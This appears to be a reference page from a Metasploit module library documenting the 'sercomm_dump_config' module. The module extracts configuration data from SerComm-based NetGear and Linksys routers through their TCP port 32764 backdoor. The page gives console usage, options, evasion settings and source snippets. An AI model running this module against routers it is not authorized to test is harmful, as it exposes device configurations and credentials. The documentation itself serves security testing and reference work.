SerComm Device Configuration Dump - Metasploit


This page contains detailed information about how to use the auxiliary/admin/misc/sercomm_dump_config metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SerComm Device Configuration Dump
Module: auxiliary/admin/misc/sercomm_dump_config
Source code: modules/auxiliary/admin/misc/sercomm_dump_config.rb
Disclosure date: 2013-12-31
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 32764
List of CVEs: -

This module will dump the configuration of several SerComm devices. These devices typically include routers from NetGear and Linksys. This module was tested successfully against the NetGear DG834 series ADSL modem router.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/misc/sercomm_dump_config
msf auxiliary(sercomm_dump_config) > show targets
    ... a list of targets ...
msf auxiliary(sercomm_dump_config) > set TARGET target-id
msf auxiliary(sercomm_dump_config) > show options
    ... show and set options ...
msf auxiliary(sercomm_dump_config) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/misc/sercomm_dump_config auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/misc/sercomm_dump_config

msf6 auxiliary(admin/misc/sercomm_dump_config) > show info

       Name: SerComm Device Configuration Dump
     Module: auxiliary/admin/misc/sercomm_dump_config
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-12-31

Provided by:
  Eloi Vanderbeken <[email protected]>
  Matt "hostess" Andreko <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   32764            yes       The target port (TCP)

Description:
  This module will dump the configuration of several SerComm devices. 
  These devices typically include routers from NetGear and Linksys. 
  This module was tested successfully against the NetGear DG834 series 
  ADSL modem router.

References:
  OSVDB (101653)
  https://github.com/elvanderb/TCP-32764

Module Options


This is a complete list of options available in the admin/misc/sercomm_dump_config auxiliary module:

msf6 auxiliary(admin/misc/sercomm_dump_config) > show options

Module options (auxiliary/admin/misc/sercomm_dump_config):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   32764            yes       The target port (TCP)

Advanced Options


Here is a complete list of advanced options supported by the admin/misc/sercomm_dump_config auxiliary module:

msf6 auxiliary(admin/misc/sercomm_dump_config) > show advanced

Module advanced options (auxiliary/admin/misc/sercomm_dump_config):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/misc/sercomm_dump_config module can do:

msf6 auxiliary(admin/misc/sercomm_dump_config) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/misc/sercomm_dump_config auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/misc/sercomm_dump_config) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to check endianess, aborting...


Here is a relevant code snippet related to the "Failed to check endianess, aborting..." error message:

64:	    print_status("Attempting to connect and check endianess...")
65:	    @endianess = fingerprint_endian
66:	    @credentials = {}
67:	
68:	    if endianess.nil?
69:	      print_error("Failed to check endianess, aborting...")
70:	      return
71:	    end
72:	    print_good("#{string_endianess} device found...")
73:	
74:	    print_status("Attempting to connect and dump configuration...")

Error retrieving configuration, aborting...


Here is a relevant code snippet related to the "Error retrieving configuration, aborting..." error message:

73:	
74:	    print_status("Attempting to connect and dump configuration...")
75:	    config = dump_configuration
76:	
77:	    if config.nil?
78:	      print_status("Error retrieving configuration, aborting...")
79:	      return
80:	    end
81:	
82:	    loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations")
83:	    print_good("Router configuration dump stored in: #{loot_file}")

Connection failed: <E.CLASS>: <E>


Here is a relevant code snippet related to the "Connection failed: <E.CLASS>: <E>" error message:

137:	      connect
138:	      sock.put(Rex::Text.rand_text(5))
139:	      res = sock.get_once(-1, 10)
140:	      disconnect
141:	    rescue Rex::ConnectionError => e
142:	      print_error("Connection failed: #{e.class}: #{e}")
143:	      return nil
144:	    end
145:	
146:	    unless res
147:	      return nil

No answer...


Here is a relevant code snippet related to the "No answer..." error message:

170:	    res = sock.get_once(-1, 10)
171:	
172:	    disconnect
173:	
174:	    if res.blank?
175:	      vprint_error("No answer...")
176:	      return
177:	    end
178:	
179:	    if big_endian?
180:	      mark, zero, length, data = res.unpack("NVVa*")

Incorrect mark when reading response


Here is a relevant code snippet related to the "Incorrect mark when reading response" error message:

181:	    else
182:	      mark, zero, length, data = res.unpack("VNNa*")
183:	    end
184:	
185:	    unless mark == 0x4d4d6353
186:	      vprint_error("Incorrect mark when reading response")
187:	      return nil
188:	    end
189:	
190:	    unless zero == 0
191:	      vprint_error("Incorrect zero when reading response")

Incorrect zero when reading response


Here is a relevant code snippet related to the "Incorrect zero when reading response" error message:

186:	      vprint_error("Incorrect mark when reading response")
187:	      return nil
188:	    end
189:	
190:	    unless zero == 0
191:	      vprint_error("Incorrect zero when reading response")
192:	      return nil
193:	    end
194:	
195:	    unless length == data.length
196:	      vprint_warning("Inconsistent length / data packet")

Inconsistent length / data packet


Here is a relevant code snippet related to the "Inconsistent length / data packet" error message:

191:	      vprint_error("Incorrect zero when reading response")
192:	      return nil
193:	    end
194:	
195:	    unless length == data.length
196:	      vprint_warning("Inconsistent length / data packet")
197:	      # return nil
198:	    end
199:	
200:	    return { :length => length, :data => data }
201:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>
  • Matt "hostess" Andreko <mandreko[at]accuvant.com>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.